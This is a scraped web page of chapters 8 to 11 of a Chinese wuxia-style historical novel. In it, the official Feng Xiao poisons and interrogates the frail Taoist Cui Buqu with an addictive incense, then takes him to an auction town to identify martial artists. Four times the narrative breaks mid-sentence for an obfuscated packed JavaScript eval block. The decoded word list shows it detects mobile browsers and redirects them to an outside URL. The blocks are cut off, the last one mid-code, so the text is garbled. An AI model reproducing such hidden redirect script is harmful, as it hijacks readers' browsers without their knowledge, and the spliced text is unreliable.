第 8 章 专思君兮不可化,君不知兮可奈何。 奈何香,这个一听就仿佛化作万千哀愁的名字,香气宛若初夏菡萏,清秀亭亭,实则却是效用极为霸道,令人闻之色变的剧毒。 它的毒性并非在于立时夺人性命,而是以香气侵入身体,食骨吸髓,让中毒者逐渐沉溺其中,若一日不闻奈何香,便会气短体虚,神智混乱,三日不闻奈何香,皮肉经络若尖刀剔骨,无法忍受,五日不闻奈何香,则只能身死魂消,去奈何桥要一碗孟婆汤了。 所以奈何香的奈何,并非文人口中的长吁短叹,而是黄泉忘川之奈何。 崔不去在这间暗无天日的屋子里整整待了五天。 对方将时机掐得恰到好处,总会在他熬不住疲倦,半昏半醒之间把吃喝之物送来,崔不去恢复意识的时候,伸手就能摸到自己身旁的水跟食物。 水与食物只有一点点,勉强维持生机罢了,但最难熬的并非饥肠辘辘,而是漫无边际的寂静,和不知今夕何夕的折磨。 黑暗过后,还是黑暗,寂静的尽头,永远是寂静。 崔不去只能用自己四根手指十二个指节来掐算时辰,尽可能舒展身体,默念背诵典籍,从儒家背到道家,又从法家背到佛家,排除杂念,心无旁骛。 他的目力渐渐下降,听觉却异常敏锐起来,此时哪怕是蛇虫鼠蚁的动静,甚至滴水声,都能令他如获至宝,但是并没有,不知凤霄用了什么法子,这间屋子仿佛完全被世间遗忘,若不是没断过水,崔不去几乎要怀疑他们真把自己给忘了。 这样不分昼夜的无声折磨,寻常人尚且撑不住,别说十天半个月,三五天都能发疯,更不必说崔不去这样的身体,每年换季都能病上一场,到了第三日时,他明显感觉自己心头一股烦闷恶气呼之欲出,腹中因饥饿而发疼,手脚开始发软无力,脑袋也逐渐混沌,身体微微发冷,相反额头却热起来,他知道这又是即将一场大病的前兆,索性破罐子破摔,也不默诵典籍了,任凭意识逐渐模糊。 就在此时,他闻到了一股香气。 若有似无,仿佛去年他在京城洇荷园里闻见的香气,淡淡的,甜甜的,风动荷香,又带着莲子的味道。 再过一阵,京城就会开始热起来,达官显贵家里招待客人,最喜欢将煮好的莲子银耳羹置于瓮中沉入井里放上半天,等客人来了再拿出来,先喝一杯热好的荷饮,暖胃清火,再上一碗莲子羹,保管香溢两颊,从喉咙一直舒心到了肚子,将暑气一清而空。 这样的待客之道,他已经体验过很多回了。 崔不去蓦地睁眼。 入目的黑暗令他立刻回到现实。 香气犹在,不是幻觉。 他在黑暗中微微挑眉,随即无声冷笑。 奈何香。 这种毒|药虽然霸道可怕,同样难寻且贵重,难为凤霄居然会用来对付自己,真是奢侈浪费。 身处这间屋子,出又出不去,更不可能隔绝呼吸,只能将如此诱人上瘾的香气一点点吸入。 若是身怀绝顶武功的人在此,也许可以运用内力抵御一段时间,但对崔不去而言,奈何香只会加速摧折他的身体,令他求生不能,求死不得。 对方也许没有取他性命的意思,只是想用奈何香来逼他口吐真言,用在崔不去身上,可谓是杀鸡用牛刀,暴殄天物了。 但解剑府的人,无论如何也不会料到,这种香,他在多年前就已经闻过,而且曾经整整熬了十天,最后虽然几乎去掉半条命,却依旧能维持基本的清醒,没有被人牵着鼻子走,连他的老师范耘都惊叹不已,说若不是他的身体不适合练武,以他的心志之坚,只怕世上没有任何一种武学是攻克不了的。 然而慧极必遭天妒,范耘也知道,崔不去即使不会武功,也足以凌驾世间绝大多数人之上。 有的人,注定生来不凡。 所有痛苦,于他而言,不过是磨砺。 吹尽狂沙始到金。 崔不去重新缓缓合眼。 琳琅阁拍卖在即,他就不信,凤霄能等得了十日之后才来找他。 …… “到底如何?”凤霄看着裴惊蛰欲言又止的模样微微蹙眉,有些不耐烦了。 琳琅阁拍卖早在四天前开始,为期六天,明日便是最后一日,前面几日拍卖的以药材绢帛居多,最后一日才是众所瞩目的珍奇异宝。 虽说这几日也很热闹,成交量更不少,许多人都满载而归,但许多人都将目光放在最后一日的拍卖上,即便买不起,能开开眼界,也不枉千里迢迢来这一趟。 但凤霄却很不满意。 因为这几日的进展一直不算顺利,温凉等人还在县衙羁押着,琳琅阁那边虽然不敢如何,但每日也没少找人上门来求情,凤霄统统不见,他将崔不去丢给裴惊蛰去料理,自己则亲自去拍卖上盯着,然而秦氏一直没有露面,仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728837|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早已隐没在茫茫人海之中,天池玉胆更是不知所踪。 凤霄知道玉胆就算现世,必然也是在最后一天的拍卖上,但他思来想去,总觉自己漏算了什么,心下难免有些烦躁。 自打掌管解剑府以来,一路顺风顺水,就算有所阻难也不在话下,他已经很久没有遇上这种捉摸不定,又难以形容的缥缈之感了,仿佛冥冥之中有只看不见的手在下棋,而他自己原本站在棋盘边,却不知不觉被扯进这团迷雾之中,眼看就要成为棋子之一…… 凤霄心头一震,似突然捕捉到什么,又转瞬即逝。 裴惊蛰道:“上回您让我给那人连用五日奈何香,我怕那人身体受不住,没敢多用,方才进去察看时,他早已神志不清,属下用井水将他泼醒,趁机审问一番,他还是坚称自己与秦氏并无关系,所以属下认为,这崔某,应该的确是无辜的。” 如果此人不是无辜的,那就是铁骨铜心,已经到了连奈何香都奈何不了的地步。 但是可能吗? 别说那样的病痨鬼,就是武功高手,裴惊蛰也从未见过能在奈何香的威力下熬过几天还不求饶的。 凤霄道:“人呢?” 裴惊蛰:“在东厢房躺着呢。” 凤霄眉头一皱:“放出来了?” 裴惊蛰苦笑:“我的郎君,您当人人和您一样,可以在奈何香下熬过数日而不毁心志么?他如今高热不退,别说开口,连这次能不能挺过去,都不知道。” 凤霄微哼:“此人还有用处,挺不过去也得用药吊着一口气。” 裴惊蛰一听这意思,难不成还要对人用什么酷刑,忙道:“大夫说了,他如今内耗外虚,经不起任何折腾了!” 凤霄没有回答这个问题。 他跟着裴惊蛰来到东厢房,果然看见崔不去正沉沉睡着,比起前几日,两颊明显消瘦,颜色也变得更加苍白,露在被子外面的手背,青色经络隐隐浮现,越发显得奄奄一息,病体支离。 凤霄站在床榻边上,盯着对方的睡容看了半天,病人似乎在睡梦中也感应到这股灼人的视线,眉头微微蹙起,睡得并不安稳。 裴惊蛰低声道:“郎君,可要将他身上的香毒解了?不然怕是好不了。” 凤霄摇摇头,摸着下巴凝视崔不去,见对方在梦魇中挣扎沉浮,仿佛颇觉有趣。 过了片刻,他忽然冒出一句:“你说,他会不会是左月局的人?” 9. 第 9 章 左月二字,取隋字之右部,顾名思义,自然与隋朝有关。 杨坚登基之后,以自己曾受封过的随国公取同音为国号,又定年号为开皇。开皇二年,就在解剑府成立的半年之后,一个名为左月局的地方也随之悄然出现。 它与解剑府一样独立于三省六部之外,却又不受皇帝管辖,而是直接听命于皇后。 这位有功于社稷,与皇帝分享天下,恩宠集于一身的独孤皇后,干了一件前无古人的事情,专门设立了一个机构,为自己办事。 时人称帝后为二圣,并非虚言奉承,独孤皇后权势之盛,的确已经超越了前朝任何一位皇后,包括吕后在内,甚至与吕后不同的是,杨坚惧内,对这位皇后又敬又爱又怕。 是以左月局自成立之日起,便拥有了不逊于解剑府的权力,它的职责同样是摄取情报机密,往来南北东西,不受限制,但帝后二人毕竟是恩爱夫妻,独孤皇后也不好将天子的风头完全抢过来,一点面子都不给,便给左月局定下职责范畴,让他们主要处理与武林江湖有关的纠纷疑案。 左月局设正使一名,副使两名,鹰骑若干,人员较为单薄,行事低调神秘,基本不在人前露面,便连深得皇帝信任的高官大臣,也只知有左月局,至于其中有何人,办何事,还真不甚了了。 不过由于职权相似,实际办事中必然会发生冲突,解剑府与左月局之间,虽无深仇大恨,又分属帝后所管,难免互别苗头,彼此想要争个上风。 先前因为几桩案子,裴惊蛰跟左月局的人打过交道,深知他们不动声色的难缠。 裴惊蛰身在解剑府,对左月局的了解比旁人更多一些,他没见过左月正使,却见过两位副使,一个秀雅纤纤,如闺阁千金,一个沉默寡言,似修行苦僧,虽说解剑府与左月局本就是藏龙卧虎,奇人辈出之地,但像两位左月副使这样古怪的也是少见。 更有那位神龙见首不见尾的左月正使,裴惊蛰从来不曾亲眼见过,但他无论如何,也没法将那个比解剑府还要神秘莫测的地方,跟眼前这个病痨鬼联系在一起。 柔弱女子可能是武功高手,沉默寡言的人也可能一招致命,但这个肩不能挑手不能提的崔观主,会有可能也是左月局的眼线吗?正因为身体不好,又有道士的身份做掩护,更方便隐姓埋名? 裴惊蛰想了想,道:“您是认为,琳琅阁在此拍卖,江湖人士聚集,左月局的人也有可能在此布下眼线暗中监视?但若他真在左月局,明知我们是解剑府的人,为何不表明身份?” 凤霄:“从前的紫霞观可能跟秦妙语有勾连,但此人是在两个月前才来到紫霞观的,跟秦氏离开六工城,中间隔了四五年,我一直不认为他与案子有什么牵涉,但是两个月前左右,朝廷正好下定决心,准备对突厥有所动作。” 裴惊蛰恍然:“所以您从头到尾,只是想试探出他的来历?但他若真是左月局的人,我们岂不是反而跟人家结了仇?” 虽说两家向来不和睦,但毕竟都是朝廷命官,大水冲了龙王庙,闹得太僵也不好吧? 凤霄却毫不在意:“结仇就结仇,恨我的人不少,多他一个也不多,你以为这次于阗使者出事,他们就不想横插一脚,抢个头功了?” 他们虽身在边陲,却自有特殊渠道,源源不断得到京城传来的消息。 数日前,天子百官正式迁居新都大兴城,在此之前,百姓居民早已搬迁入内,原来的旧都历经数代,狭隘逼仄,阴雨天气时更是淤泥污水堵塞泛滥,是以杨坚登基之后,就下令在旧都旁另建新都,历时仅仅不到两年,新都便成,隋帝下令大赦天下,并应臣下之请,求购天下因战乱而散逸的书籍,充国库藏书,以免典籍失传,致后人无缘得见。 种种德政,显示一派新朝气象,明君作为,在这等情形下,杨坚决定对突厥用兵,彻底平息北方滋扰,没有人会怀疑天子的决心,三省六部纷纷忙碌起来,连带解剑府与左月局,也都各自领命,运筹帷幄,谁能在这桩事情上起到关键作用,大功就非谁莫属,左月局一直想要压解剑府一头,自然也不会放过这个大好机会。 崔不去梦中不安,咳嗽几声。 裴惊蛰看了他一眼,之前不知道他可能是左月局中人,倒没觉得怎样,如今再看,不由多了几分同情。 “那,属下先将他的香毒解了?” 凤霄一脸你莫不是傻子的表情:“为什么要解?他既然死不承认,正好让我用香毒拿捏他,他就算自陈身份,你也一口咬定是假的,别被牵着鼻子走,在六工城,自然得我说了算。” 裴惊蛰嘴角抽搐地应是。 他早该知道,自家郎君不是什么心慈手软的好人。 …… 就在凤霄与裴惊蛰当着崔不去的面,肆无忌惮讨论他时,身处病痛梦魇困扰之中的人却浑然不知。 崔不去正走在一条很长的路上,这条路没有尽头,但两旁不时长出荆棘,从脚踝往上,紧紧将他双腿缠住,他想要继续往前走,就得用手将那些荆棘拔掉,为此双手早已鲜血直流,但荆棘非但没有变少,反而越来越多。 荆棘的刺扎入肉里,又因动作而加深伤口,脑海反射出阵阵抽痛,但崔不去面无表情,仿佛没有痛感,依旧坚持将那些荆棘抓开。 从小到大,他想做什么,就一定要做到,无论付出多少代价,无论前路有多少困难,都无法拦住他,他现在就要往前走,走到路的尽头,看一看那里有什么。 那些荆棘终于拗不过他,败下阵来,化为灰烬纷纷消失,崔不去没有去看自己鲜血淋漓的手,因为在他眼前忽然出现一座宅子。 这是一座有着数百年历史的老宅。 在大隋立国之前,北方动荡,几经易主,宅子的主人却屹立不倒,家族开枝散叶,繁衍生息,成为天下人也无法小觑的一支。 崔不去终于停住脚步。 宅子大门紧闭,台阶上却站着两个人,一人须发皆白,威严肃穆,一人则将近而立,蓄着短须,年轻许多,怀中还抱着一个襁褓,正对着老人说话。 “爹,您给他起个名字吧!”年轻人如是说道。 老人冷道:“随意唤他阿大阿二,也就罢了。” 年轻人恳求:“看在他父母双亡的份上,您就不能网开一面吗!” 老人:“他这般孱弱,只怕活不过几年就去了,起了名字又有何用?” 年轻人:“……哪怕这样,将来,不也是一点念想吗?” 老人哼道:“既已父母双亡,这世上还有谁会念他?” 年轻人:“我会。” 二人僵持许久,老人终于道:“我脚下是石阶,便给他起名为阶吧。石阶万人踩,贱名好养活。” “那族谱——” “他不配。” 他不配。 这三字穿越重重叠叠的迷障云雾,直直传入崔不去耳中。 声音饱含岁月沧桑,却依旧带着不容置疑的权威,与这座老宅里的朽木一样,陈腐近乎败坏,偏偏又不甘心就此隐退,仍然想要占据一席之地,掌控别人的命运。 石阶万人踩,贱名好养活。 崔不去忽然冷冷笑了一声。 笑声惊动了老人与年轻人,他们转头循声往来,却瞬间被迷雾笼罩,顺势卷走。 一切归于黑暗。 深渊隐藏在平静之后,从未离开过,但这么多年来,他已经一步步走到了比深渊更险峻之处,足以俯瞰蔑视深渊的存在。 胸口传来剧痛,血腥之气随即涌上喉头,他禁不住想咳嗽,却咳出满嘴的腥膻。 人也跟着清醒过来。 眼皮酸涩肿胀,些微光线都能令眼睛流泪,崔不去缓了好一阵,才看清眼前的纱帐。 一张俊美的脸忽然取代床帐,跃入视线之内。 “你醒了。”凤霄俯视他。“感觉如何?” 崔不去懒得回答,又合上眼,闭目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728838|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养神。 凤霄自顾自道:“你身上的奈何香,已经延缓发作了,但没有彻底解开,两日之后又会发作,如果你愿意乖乖听命于我,我自然可以考虑帮你解毒。如何?” 崔不去缓缓睁眼,哑声道:“我有拒绝的余地么?” 凤霄:“没有。” 那还问他作什么?崔不去翻了个白眼。 凤霄仿佛没看见他的白眼,又问了一遍:“如何?” 崔不去:“我不会武功,帮不了你什么。” 凤霄笑吟吟道:“你不是出身方丈洲琉璃宫吗,听说那地方出来的人,熟掌武林典故,江湖名人。琳琅阁拍卖,我正需要有个人,帮我认一认各路人士。” 崔不去沉默片刻:“可以,但我有个条件。” 凤霄:“解毒不行。” 崔不去咳嗽起来:“……我想喝水吃饭,你他娘的连水都不让我喝,还想让我做事?” 他瞪着眼前的白粥和一碟腌菜,差点维持不住自己脸上的表情。 凤霄还在一旁“慈爱”道:“吃啊,怎么不吃?” 崔不去缓缓道:“虽然贫道如今是阶下囚,任由你搓圆捏扁,但毕竟你还要让我做事,我如今大病未愈,你就让我吃这个?” 凤霄奇道:“吃这个有什么不好?你也知道你虚不胜补,太好的东西,我怕你消化不了,明天又起不来。” 崔不去:“我不要山珍海味,一碗鲜菜羹,总是有的吧?” 凤霄:“不好意思,家里穷,还真没有。” 崔不去:…… 他是真想把这碗粥直接倒扣在对方头上,再把这碟腌菜糊在那张欠揍的脸上。 凤霄不知道崔不去在想什么,但肯定不会是什么好念头,他既不着急,也不肯走,甚至还觉得对方隐忍的反应很有趣,生怕对方不发火似的,在旁边走来走去,看看窗边的花,翻翻架子上的书,就等着崔不去什么时候拍桌而起,大声表明来自左月局的身份。 但等来等去,对方非但没有发作,反而默默捧起碗,夹起腌菜送粥入口。 凤霄觉得自己不会看错,这位崔观主的脾气算不上好,初次见面时自证清白的无辜,也掩饰不了皮相下的不耐,只是没想到对方多病的躯体下竟是一副铜皮铁骨,连奈何香也奈何不了他。 这等人物,哪怕不会武功,也必然在左月局中有一席之地。 凤霄越发起了兴趣。 崔道士细嚼慢咽,一碗粥吃了大半个时辰,凤霄也没催他,在旁边一直等到对方放下碗筷。 “敢问阁下有什么需要效劳的?” 凤霄道:“何必叫得这样生疏,我已经将我的姓名告知于你了,我在家中行二,你唤我凤二或二郎皆可。” 崔不去没理会他的话,径自道:“我在六工城待了二月,也听说了不少事情,琳琅阁拍卖在即,偏生这时候又出了于阗使者被害一案,你要我帮忙,总得将事情首尾告知吧。” 凤霄笑了笑:“这是自然。” 裴惊蛰得到凤霄的首肯,就将于阗使者风雪之夜死在城外,被路过客商发现,匆忙回城报官,他们在尸体上的发现,来龙去脉,都详细说了一遍。 崔不去听得很认真,待裴惊蛰讲完,就问道:“那马车内的梅花冷香,后来查了吗?” “查了。”裴惊蛰忍不住看了凤霄一眼,发现这两人的思路还真是一模一样,当初凤霄也认为梅花冷香是关键线索之一,可惜事实令他们失望了。 “我们问过城中所有香铺,也把他们的香方都一一查验,没有我们在马车内闻到的那股香气。那香气……”裴惊蛰思索着如何形容才更贴切一些,脱口道,“有点形似奈何香,就是你只要闻到过,就绝不会错认。” 说完他才觉得有些不妥,崔不去才刚刚被奈何香折磨过,自己这么说,不是往人家刀口上撒盐么? 但崔不去面无异色,只点点头,咳嗽两声,没再多问。 10. 第 10 章 虽然依靠过人心志熬了过去,奈何香毕竟还是对身体造成损害,尤其崔不去本来身体就差,这下子更是雪上加霜,他隔日起床时一摸额头,就知道自己又发热了。 缓缓吐出一口灼热的气息,崔不去早已习惯这种感觉,但并不代表他会喜欢或享受。 没有人愿意永远身处病痛折磨之中,但既然无法摆脱,只能去习惯。 床头多了一套干净衣裳,和一件厚实的大氅,应该是裴惊蛰让人拿过来的,凤霄不可能过问这种小事,崔不去毫不客气地换上,将自己裹得严严实实,用厢房里早已备好的水洗漱完毕,这才施施然步出卧室。 凤霄在外头等得不耐烦,让裴惊蛰进来催。 裴惊蛰本来也觉得崔不去太拖沓,但看见对方比昨日还要更为苍白的脸色,握拳抵唇咳嗽时,反倒有些不好意思,声音也和气了几分。 “崔观主,你身上的衣服还合适吧?” “刚好,多谢。” 裴惊蛰笑道:“今日早饭,不在府里用,郎君说,请我们到外头吃。” 崔不去:“真不容易,自我醒来,终于盼到一顿丰盛饭菜。” 裴惊蛰尴尬一笑:“昨日你刚醒,不能多吃油腻之物。” 崔不去一看,便知此人脸皮城府,完全没有凤霄的一半。 他不动声色微微颔首,不再为难对方。 凤霄见二人终于出来,忍不住啧了一声:“穿个衣服,与小娘子上花轿一般磨蹭!” 旁人发烧是脸色发红,崔不去却是脸色发白,裹着一身白色大氅,站在雪地里,寡淡得几乎融为一体。 崔不去淡淡道:“主人家刻薄,下了毒还不给饭吃,有什么法子?” 凤霄看上去心情不错,笑眯眯道:“那你今日有口福了,城中有一家食肆新开,请的是洪娘子掌勺,你在六工城住了两个月,不会没有听说过她的名头吧。” 崔不去:“洪氏烤饼的洪娘子?” 凤霄:“正是。” 这洪氏烤饼,本是城中出了名的烤饼摊子,由洪氏父女二人经营,难得的是父女二人颠勺功夫了得,挂的是烤饼招牌,做的却是一手好菜,城中远近闻名,据说连且末城过来的客商,都专程慕名去尝鲜。 崔不去也去吃过一回,滋味的确不错,面汤用的是骨头熬制的高汤,面条细如银丝,从水中捞出来之后加入高汤,再浇上一勺洪氏特制的卤肉卤汁,撒上一层碎碎葱花,一碗银丝卤肉面下肚,纵使数九寒天,亦浑身舒爽,不比京城的大厨逊色。 不过前段时间洪父去世,余下洪小娘子一人,旁人议论纷纷,都道女子娇弱独木难支,这洪氏烤饼怕是开不下去,洪小娘子八成会被某位富户纳为小妾,从此高门深户,这饕餮美味就再难尝到了。 但出乎所有人意料,洪小娘子摇身一变,不去过那饭来张口的日子,反倒被请去当了大厨。 因着琳琅阁拍卖,大街上随处可见携刀带剑的江湖人士,普通百姓避之唯恐不及,凤霄却视若不见,带着崔不去与裴惊蛰二人,从街道上穿过,朝食肆走去。 侠以武犯禁,但凡有一身本事的人,往往都有些傲气,这些江湖人士也不例外,虚怀若谷的高人毕竟少之又少,出来行走的,更多是心高气傲的年轻人。 这些人有的三五成群,虽无统一服饰,但腰间玉佩与背上剑鞘相同,一般就是某个名门大派出来的;有的人则独来独往,神色冷漠,又或面带戾气,这种一般脾气都不会太好;还有的男女同行,有说有笑,女子面容开朗自信,步履轻快,这种一般就是某个江湖世家出来历练的后生晚辈。 崔不去的目光不着痕迹从他们身上掠过,只需一眼,基本就能判断出对方各自的来历与大致性情。 “别忘了我带你出来,是为了什么,崔观主,该让我看看你的能耐了。” 听见凤霄这句话,崔不去忍不住又想翻个白眼。“贫道早饭还未吃,没力气说话。” 凤霄轻笑:“你乖乖合作,我早一些破案,你也能早一日解脱,现在与我打嘴仗,有意思吗?” 崔不去冷冷道:“若我没有记错,你昨日说的是,如果我肯合作,就考虑帮我解毒,而不是一定会帮我解毒,我昨日为香毒所苦,无力反驳,这等模棱两可的话,还想让我倾力配合么?” 凤霄从袖中摸出两个手指粗细的瓷瓶,递到他面前。 “给你一个机会,这两个瓶子里,一个是空的,一个里面有解药,可以让你三日之内,不受奈何香所困,对错皆由你选,可别再说我待你不好了。” 崔不去现在就觉得心口阵阵灼烧,仿佛有人点了一把火,将燃未燃,隐痛难耐,便连骨髓里也受到波及,如有千万只看不见的手挠着抠着,既麻又痒,他心里明白这是余毒在肆虐,余毒虽然没有毒发时难受,也足够令人坐立不安了。 但他没有去挑那两个瓶子,甚至连看都不看一眼,只抿紧了唇,继续往前走。 凤霄哎呀一声:“这人怎么这么倔呢,好心都被当成驴肝肺了!” 崔不去冷笑不语。 如不彻底解毒,暂时缓解也只是饮鸩止渴,凤霄哪里是好心,分明想等他毒发难耐时再套话。 凤霄见对方不肯上当,耸耸肩,将瓶子又放回去。 不远处果然多了一间新食肆,望子上书“五味”二字,门前人头涌动,看样子还颇为热闹。 裴惊蛰早订了位置,这一去,报上名字,无须像其他人一样排队,立时就有伙计将他们迎入内间雅座。 此间在外头看着不大,内里却别有洞天,裴惊蛰他们跟在伙计后头穿过曲廊,才发现这食肆将周围几间屋子都买下来打通了,分成大堂和雅间两部分,一入雅间,顿时清静许多,周围花木扶疏,别有趣味。 “这食肆东家来头不小啊,竟在此一掷千金,是博陵崔氏,还是陇西李氏的手笔?”裴惊蛰啧啧惊叹。 六工城本是边陲小城,再繁华也比不了京城,往来客商大多停驻几天,交换物资,转头又各奔东西,要不是今年琳琅阁拍卖,肯定还没有这么热闹,在这里开这样大的食肆,在裴惊蛰看来,八成是要赔本的。 伙计闻声回头笑道:“那您可猜错了,不是什么李氏,也不是什么崔氏,我们东家是本地人,忙碌大半辈子,平生就好一口吃的,特地把洪小娘子请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728839|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来掌勺,诸位郎君今日可算有口福了,听说洪小娘子试了不少新菜呢!” 他将三人引入雅间,这里一厅四桌,其中一桌已有一对衣冠楚楚的年轻男女坐着,身后各立侍女家仆。 虽说没能独占一厅,但四桌之间并不紧挨着,彼此都留了宽敞距离,倒也不显逼仄。 凤霄点了菜,不过片刻,菜肴就一道接一道地端上来,虽说厨下肯定不止洪小娘子一个,但她风风火火的利落风格,可见一斑。 “银丝卤汁面,蹄花汤,芙蓉鲜菜羹,洪氏烤饼,你挑着自己能吃的吃吧,别说我刻薄你了,这回我对你够好了吧?”他用筷子一样样点着菜道,又要来三碗莲子羹。 现在本不是出莲子的季节,六工城更不是盛产莲子之地,这些莲子都是千里迢迢从南方运来,又风干保存了一整个冬季,这三碗莲子羹的价值,恐怕比这一顿饭所有菜加起来都昂贵。 看在这碗莲子羹的份上,崔不去终于开口道:“那女郎姓卢,出身本地富户,据说祖上与范阳卢氏有些亲戚关系,不过早已没了往来。卢氏的父亲名叫卢缇,以古玩当铺为主业,分号据说开到了江南,是六工城首富,经商手腕了得。” 他的声音不高不低,正好让凤霄和裴惊蛰都能听见,却传不到那边去。 凤霄很满意他的识趣,两人难得没有剑拔弩张地抬杠,而是心平气和在说话。 “那男的呢,也是卢家人?” 崔不去摇头:“男的姓苏,单名醒字,算是卢氏的表兄,几年前父母双亡,家道中落,过来投奔表妹一家,卢缇资助他读书,据说也有意招他为婿,若无意外,两人应该会在近两年成亲,卢缇膝下无子,将来继承家业的,就是苏醒了。” 凤霄:“那这间五味馆,也是卢缇开的了?” 崔不去淡淡道:“这就不清楚了,毕竟我被关了好几天,这期间也许错过许多消息。” 他逮着机会就刺对方一下,后者故作不闻,拿起一块烤饼,用手掰下一小块送入口中,一边吃还一边道:“这饼味道真不错,就是牙口得够好,一般大病初愈,中了那什么毒的人,想吃也吃不了。不去,来一块尝尝吗?” 崔不去:…… 裴惊蛰差点笑出声,赶紧将头撇到一边。 然后他便瞧见隔壁桌那名青年,夹起一块素鹅,放入身旁少女的碗里,柔声道:“邈邈,你不是喜欢这道菜吗,来,多吃点。” “谢谢表兄。”少女的声音不掩欢喜。 时下民风颇为开放,尤其在北方,未婚男女若有家人陪伴,又是在大庭广众之下,便是形容亲密一些,也无可诟病,裴惊蛰正要回转视线,就听到凤霄在跟崔不去高声说话。 “去去,你不是喜欢这道菜吗,来,多吃点!” 裴惊蛰一口烤饼还未来得及咽下去,差点就喷出来。 但比他更加难受的是崔不去,后者刚举起筷子准备去夹菜的手生生顿住,嘴角扭曲抽搐,以致苍白俊秀的面容一阵狰狞。 隔壁桌的青年自然听出凤霄是有意在模仿自己,脸上不由浮现怒容。 “你我素不相识,阁下为何故意挑衅?” 11. 第 11 章 “你这人好生奇怪,这里又不是你家,造字发音的也不是你,大庭广众,我说句话都不行吗,这天底下还有没有王法了?” 凤霄连头都没回,非把筷子上的那块肉放到崔不去碗里去,崔不去伸手将碗挪走,筷子却似长了眼睛一般,不偏不倚,正好顺着他挪走的方向落入碗中。 崔不去瞪着碗里那块肉,仿佛看见凤霄筷子上的口水沾在上面,顿时连碗都不想碰了。 这还没完,凤霄将桌上一碟炸青豆挪过来。 “你是不是不喜欢荤菜,没关系,这里还有豆子,来,我给你把豆皮剥了,白白嫩嫩,快吃一颗,要我喂你吗?” 崔不去:…… 他的手好看,剥豆子也粲若拈花,转眼间崔不去面前就多了一堆没皮的豆子,一颗一颗排列成行,整整齐齐。 裴惊蛰:…… 凤霄:“吃吧。” 崔不去明知他是有意为之,还是禁不住抽了抽嘴角,扭头望向窗外,只当旁人无人。 被激怒的另有其人。 “你这人!” 苏醒气得脸色发红,就想起身与他理论,却被旁边的少女拉住衣袖。 “表哥,算了!”少女小声道,表情很是窘迫。“那位崔观主我认得,旁边定是他的朋友。” “是他先欺人太甚,我定要与他们好好理论理论!” 苏醒脸上犹有怒气,对凤霄气冲冲道,“亏你也仪表堂堂,怎么就像个莽汉一样出言不逊,毫无礼数!” 少女向崔不去福一福身:“崔观主安好。” 崔不去显然也认得对方:“福生无量天尊,卢小娘子,令堂可还安好?” 少女露出笑容:“上回多亏崔观主开的方子,家母心悸的旧疾已经缓解许多。” 崔不去点点头:“贫道的法子只能缓解一时,治标不治本,卢家还是为令堂多多寻觅些良医。” 少女柔声应是。 此时苏醒也道:“原来上回帮姑姑看病的人,就是崔道长,我姑母的身体最近的确多有起色,苏某在此多谢了。” 他朝崔不去拱手行礼,话锋一转,又道:“但恕我直言,道长这位朋友,委实无礼之极,道长名声甚好,不该与这样的人为伍。” 崔不去淡淡道:“你误会了,他不是我朋友,我也不认识他。” 苏醒狐疑地看了看凤霄,脸上明显写着不信。 凤霄笑道:“你总瞧我作甚?虽然我容貌举世无双,风采天下罕有,那也不是你能高攀得起的。” 崔不去:…… 苏醒的脸色青了又白,白了又青,就像刚才那桌菜让他吃坏了肚子。 有崔不去和卢氏在,苏醒想要与凤霄过不去也没有机会,最后只得悻悻走了。 凤霄目送二人离去,脸上一反刚才的轻佻,露出若有所思的神色。 “这个苏醒有点奇怪,所以你才会特地为我介绍他们?” 崔不去道:“卢缇膝下无子,苏醒投奔卢家之后,卢缇是将他当作半子来培养的,苏醒虽然喜欢读书,但读书天分一般,反倒是跟着卢缇经商,颇有些能耐,卢缇很是欢喜,目前已经将名下两间铺子交给他打理了。” “不对,果然很奇怪。”凤霄道,“他既然打理生意,于人情往来上,理应圆滑周到才是,刚才又怎会因为我学他说话,便大发雷霆?” 崔不去冷笑道:“可能是凤郎君脸上写着谁见了都来火几个大字吧,走到哪里都不讨人喜欢。” 凤霄笑道:“怎么可能?刚才卢氏看我的眼神,分明带着惊艳与倾慕。” 自恋的人,崔不去也见过,但自恋到这种程度的人,他还是头一回见,看凤霄的表情也带上微微的不可思议。 “凤郎君经常都是如此揽镜自照,顾影自怜的吗?” 不是经常,是一直如此。裴惊蛰在心里默默补充道。 凤霄挑眉:“这难道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 